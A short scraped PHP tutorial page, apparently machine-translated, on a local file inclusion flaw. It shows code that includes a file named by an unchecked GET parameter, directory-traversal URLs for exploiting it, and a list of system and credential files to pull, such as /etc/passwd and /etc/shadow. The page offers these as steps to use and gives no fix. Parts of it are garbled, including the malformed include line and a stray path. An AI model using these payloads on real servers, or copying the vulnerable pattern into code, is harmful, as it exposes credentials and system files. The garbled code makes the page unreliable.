Home  >  Article  >  Backend Development  >  PHP fakes local files containing vulnerable code_PHP tutorial

PHP fakes local files containing vulnerable code_PHP tutorial

WBOY
WBOYOriginal
2016-07-21 15:23:401027browse

Code:

Copy code The code is as follows:

$page=$_GET['page' ];
include($page.'php');
?>

You can use it like this
http://www.xxx.com/index.php ?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http://www.xxx .com/index.php?page=..../../etc/passwd

Get more data:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

from hackteach

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/324439.htmlTechArticleCode: Copy the code as follows: ?php $page=$_GET['page']; include($page .'php'); ? You can use http://www.xxx.com/index.php?page=../etc/passwd http://www.xxx.com/index.p...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn